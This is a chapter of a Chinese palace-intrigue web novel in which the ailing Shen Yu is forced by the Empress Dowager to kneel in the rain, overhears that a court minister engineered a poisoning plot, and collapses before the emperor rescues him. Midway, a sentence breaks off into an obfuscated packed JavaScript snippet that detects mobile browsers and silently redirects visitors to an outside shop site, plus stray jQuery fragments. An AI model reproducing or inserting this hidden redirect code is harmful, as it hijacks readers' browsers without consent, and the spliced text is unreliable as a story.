殿内温存不过一瞬，宫外的风雨暗流，从未有片刻停歇。
那一日清和殿一曲抚琴，稍稍抚平了萧云连日紧绷的心绪，却压不住朝堂之上愈演愈烈的非议。太后宁雪在深宫蛰伏许久，冷眼旁观殿内那一场君臣相惜，心中积郁已久的怒意，已然蓄至顶峰。
在她眼中，沈玉本就是北国遗孽，以一副温润皮囊蛊惑帝王心神，祸乱朝纲。陛下因他一人，与满朝文武对峙，为他承受天下非议，这般下去，南国社稷，迟早要被这男子慢慢侵蚀。
萧云刚下早朝，去往御书房批阅奏折。清和殿之中，便来了太后传下的懿旨。
内侍捧着明黄懿册，垂首立在殿中，语气恭谨，却字字冰冷。
“太后懿旨，沈玉身系北国旧族，祸端由你而起，朝野流言四起，人心惶惶。太后命你，前往长信宫外青石阶前跪思己过，自省罪孽。”
榻上，沈玉方才小憩片刻，余毒尚未尽数褪去，身子依旧虚软无力。听见懿旨那一刻，他长长的睫羽轻轻垂落，掩去眸底一闪而过的疲惫。
他心中清楚。
太后素来厌他入骨。
如今萧云处处护着自己，朝堂群臣屡屡弹劾无果，太后便要绕过帝王，以后宫母仪之尊，私下惩戒，折辱于他。
这哪里是自省思过。
分明是借着罚跪，敲打萧云，警告深宫之中，尚有一人，不肯容许他继续留在帝王身侧。
殿内侍奉的小内侍不由得满心焦灼，低声劝道：“沈公子，您身子尚未痊愈，雨中长跪，如何受得住？不如暂且托病推辞，等候陛下归来做主。”
沈玉缓缓直起身，苍白的指尖轻轻抚过榻沿。
推辞。
若是他推辞，便是抗懿旨、悖太后，到那时，太后大可拿这件事大做文章，上书朝堂，指责他恃宠而骄，目无尊长，反倒会给萧云平添更多麻烦。
陛下已经为他扛下了足够多的朝野重压，他不能，再让萧云因为自己，与太后公然撕破脸面，母子失和，落下不孝的话柄，授百官以口实。
沈玉轻轻摇了摇头，声音清浅微弱：“不必。懿旨已下，不可违。”
他缓缓撑着软榻起身，单薄的衣料裹着清瘦的身子，步履虚浮，一步一步走出清和殿。
殿外，天色已经沉沉暗下。
乌云层层叠叠压在皇城上空，淅淅沥沥的冷雨，不知何时已然落了下来。细密雨丝斜斜飘洒，冷风裹挟着湿气，迎面扑在人的身上，刺骨寒凉。
长信宫外，宽阔厚重的青石台阶，被雨水冲刷得湿滑冰凉。
沈玉缓步走到石阶正中，轻轻屈膝，直直跪了下去。
冰凉坚硬的青石透过单薄衣料，瞬间刺入膝盖骨里，一股钝重的酸痛顺着双膝蔓延全身。冷雨连绵落下，打湿他墨色的长发，一缕缕湿发贴在苍白的脸颊，衣衫很快被雨水浸透，沉甸甸裹在身上，寒凉顺着肌肤一寸寸钻进骨血之中。
脏腑之间蛰伏未清的余毒，被这骤然袭来的寒气一激，开始隐隐躁动，钝痛缓缓翻涌上来。
雨，越下越密。
风声呜咽，雨落如诉。
长信殿的雕花窗棂半开一道缝隙，太后宁雪立在窗后，隔着漫天雨幕，冷冷望着阶下跪伏的那道单薄身影，眼底没有半分怜悯。
周遭宫人内侍，远远站在廊下，无人敢上前半步，只敢偷偷望向雨中那人。
一炷香。
两炷香。
一个时辰。
雨水冲刷着石阶，也冲刷着沈玉单薄的身躯。
他脊背依旧挺得笔直，不曾有过半分歪斜，垂着眸，安静跪在滂沱冷雨之中，不言，不动，不呻吟，不求饶。
湿冷的雨水顺着发梢，一滴滴滑落，滴在青石之上，溅起细碎水花。身上寒意渐重，四肢开始慢慢发麻，膝盖早已痛得麻木，只剩下一片僵硬冰冷。脏腑里的疼痛一阵紧过一阵，反反复复，不停撕扯着他本就孱弱的内腑。
可他死死咬着下唇，把喉间翻涌而上的腥甜硬生生咽了回去。
就在第二个时辰快要过去的时候，廊下两个负责值守的老宫人，以为四下无人，低声交谈起来，声音混在雨声之中，飘飘忽忽，恰好落进沈玉耳里。
那话语极轻，若不是雨中风声稍歇一瞬，他断然听不真切。
“……太后这一回，也是被人撺掇了。”
“那位大人许诺，只要除去沈玉，北国旧部便可尽数平息，朝堂风波自解。只可惜，太后尚不知，那人哪里是为了南国社稷，实则是借着南北纷争，谋自己的权位……”
另一个宫人叹了一口气，压低声音继续：
“投毒一案，死士自尽，狱中人接连灭口，哪里是什么北国余党私自作乱。那背后，本就是朝中重臣一手策划，借北人之名，祸乱朝局，一边煽动旧部，一边逼迫陛下严惩北地俘虏，挑起南北仇怨，好坐收渔翁之利。”
“太后如今，不过是被那人当成了一柄利刃，用来对付沈玉，牵制陛下……”
话音到此，声音骤然压低，后面的言语，被呼啸风雨彻底吞没，再也听不清半句。
短短数语，如同一道微光，猛地刺破重重迷雾，落进沈玉心底。
原来如此。
他从前一直以为，幕后之人，是北国旧部之中，恨他弃国叛族的顽固之辈。可如今方才知晓，这场席卷深宫朝堂的投毒迷局，根本不是北国旧人单独谋划。
朝堂之中，另有身居高位的重臣，暗中布局，利用南北积怨，搅动风云。
太后，尚且被那人蒙在鼓里，被当作棋子，用来针对自己，制衡萧云。
这一条线索，细碎微弱，仅仅只是冰山一角。可就是这一点点真相，让迷雾沉沉的死局，终于裂开了一道细小的缝隙。
沈玉垂在身侧的手，指尖微微蜷缩。
他不动声色，面上依旧平静，仿佛什么都未曾听见，依旧安静跪在冷雨之中，垂眸自省，任由冰冷雨水一遍遍淋透身躯。
他不敢有丝毫异动。
廊下那两位宫人所言，一旦被旁人察觉，势必当场被拿下处死，这条唯一微弱的线索，也会就此彻底断绝。
他只能静静跪着，把方才听见的每一个字，牢牢刻在心底。
雨势不减，时辰缓缓流逝。
第三个时辰过去。
刺骨的寒凉已经侵入四肢百骸。沈玉浑身冰冷，唇瓣冻得泛出青紫之色，额角不断有冷汗混着雨水往下淌。眼前一阵阵发黑，眩晕感如同潮水一般，一波一波席卷上来。
膝盖早已失去知觉，整个人仿佛只剩一股意念，勉强支撑着身躯，直直跪在青石阶上。
脑海之中，方才宫人的私语一遍一遍回响。
朝中重臣，借南北矛盾，暗中布局，太后被人利用……
无数纷乱的念头在心底盘旋，旧的猜想被推翻，新的疑点层层升起。可线索太过稀少，只言片语，不足以锁定幕后之人究竟是谁。
第四个时辰，如期而至。
四个时辰，整整四个小时，浸在冰冷大雨之中长跪。
体内余毒被湿寒彻底催动，脏腑间剧烈的绞痛骤然爆发，一阵猛烈的眩晕猛地冲上头顶。
眼前的雨幕、殿宇、石阶，一瞬间天旋地转。
沈玉那一直强撑着挺直的脊背，猛地一软。
单薄的身躯再也支撑不住，眼前彻底陷入一片黑暗，他直直向着冰冷的青石地面，重重栽倒下去，彻底失去了意识。
“扑通——”
一声闷响，穿透淅沥雨声。
廊下值守的宫人见状大惊失色，慌乱地叫喊起来。
“不好！沈公子晕倒了！”
长信殿内，太后宁雪听见外面的动静，脚步一顿，脸上终于掠过一丝不易察觉的迟疑。她本意只是惩戒折辱，从未想过，真要将人活活罚死在阶前。
可还不等她开口传下赦令，一道急促的脚步声，自宫道尽头匆匆赶来。
萧云自御书房处理完公务归来，听闻太后传下懿旨，命雨中罚跪，心底瞬间一沉，策马快步赶来。
远远便看见，漫天冷雨之中，那道清瘦的人影，静静伏在湿漉漉的青石台阶上，一动不动。
那一刻，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916159|213325||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
帝王心底，骤然掀起滔天怒火与恐慌。
他大步踏过雨水漫过的石阶，快步上前，弯腰一把将昏迷冰冷的少年紧紧抱入怀中。
怀中人体温低得吓人，浑身冰凉，呼吸微弱而浅淡，长长的睫毛紧闭，脸色苍白如纸，唇上毫无血色。雨水浸透的衣料冰冷刺骨，连发丝都浸满寒凉。
萧云抱着他的手臂微微发颤，周身骤然漫开骇人的戾气，抬眼望向长信殿那扇半开的窗，声音冷得如同殿外漫天寒雨。
“传御医，立刻！”
内侍不敢耽搁，疯了一般向外跑去传召太医。
萧云不再多看长信殿一眼，抱着怀中昏迷不醒的人，转身大步离开。雨水打湿他的龙袍，他全然不顾，满心只有怀中之人微弱的气息。
一路快步赶回清和殿。
宫人慌忙燃起殿内炭火，铺好温暖被褥。御医匆匆赶到，把脉过后，眉头紧紧拧起。
“陛下，公子本就余毒未清，体虚气弱，大雨之中长跪四时辰，寒湿侵入脏腑，内腑受创，寒气激毒，现下高热骤起，能不能熬过今夜，尚且未知。”
一句“尚且未知”，重重砸在萧云心上。
他立在床榻边，垂眸看着榻上昏迷不醒的少年，掌心轻轻覆在沈玉冰凉的额头上，心底的怒火、心疼、自责，层层翻涌。
是他失察。
他以为太后纵然心中有怨，也会有所分寸，却万万没有料到，会有一场雨中长跪，等着尚未痊愈的沈玉。
榻上之人，沉沉昏睡着，眉头紧紧蹙起，似是在睡梦之中，依旧受着脏腑之中的剧痛折磨。
不知过了多久。
沉沉昏梦里，沈玉缓缓睁开一丝眼眸，意识尚且模糊朦胧。
他眼前朦胧看见床边那道玄色身影，下意识，低声喃喃，微弱破碎的几句呓语，轻轻自唇间溢出。
“重臣……借南北……为棋……”
声音极轻，细若蚊蚋，转瞬便要消散。
萧云俯身，立刻凑近，凝神细听。
可呓语到此，沈玉便再度陷入沉沉昏迷，再也没有多余的字句吐露。
仅仅两句破碎的低语。
却让萧云眸色骤然一沉。
雨中罚跪，必然发生了什么。
阿玉在长信殿外，一定听到了什么隐秘。
所以昏迷之中，才会无意识吐出这样两句线索。
先前所有人查案，都把目光死死锁定在北国残存旧部身上，认定作乱之人，唯有北国遗民。可沈玉这句含糊的呓语，却陡然为整件案子，掀开了一条全新的方向。
难道这场祸乱，从一开始，便不只是北国旧部的复仇谋划？
朝堂之中，另有黑手，藏于暗处，搅动全局？
榻上，沈玉依旧高热昏睡，在冰冷大雨之中苦苦撑了四个时辰，以肉身承受折辱，却意外得到了一丝至关重要的真相。
只是这真相，尚且残缺破碎，如同暗夜之中一点微弱星火，前路依旧迷雾重重，杀机四伏。
萧云缓缓站起身，望向窗外依旧未曾停歇的冷雨，眼底翻涌着沉沉的思虑与决绝。
暗查，已经行不通了。
暗处的敌人布局太深，步步设伏，线索一次次被人掐断，知情人接连被灭口。一味在暗地里摸索，只会永远被对方牵着鼻子走。
既然暗处难寻真相。
那便走到明处。
等沈玉醒来，他不再隐忍避嫌，不再畏人非议。
与其躲在幕后被动应对，不如光明正大，直面迷局，主动查凶。
萧云垂眸，看向床上昏睡的少年，指尖轻轻拂过他被雨水浸得微凉的面颊，心底暗暗下定决断。
这一次，他不会再让沈玉孤身一人，承受所有风雨折辱。
待到少年醒来，君臣二人，便堂堂正正，一同入局。
破开重重迷雾，揪出幕后那只藏在暗处，搅动朝堂、利用太后、挑起南北纷争的黑手。
雨落长阶，一身寒苦，换微芒一线。
前路纵然依旧风波浩荡，自此，君臣同心，明察凶案，绝不退缩。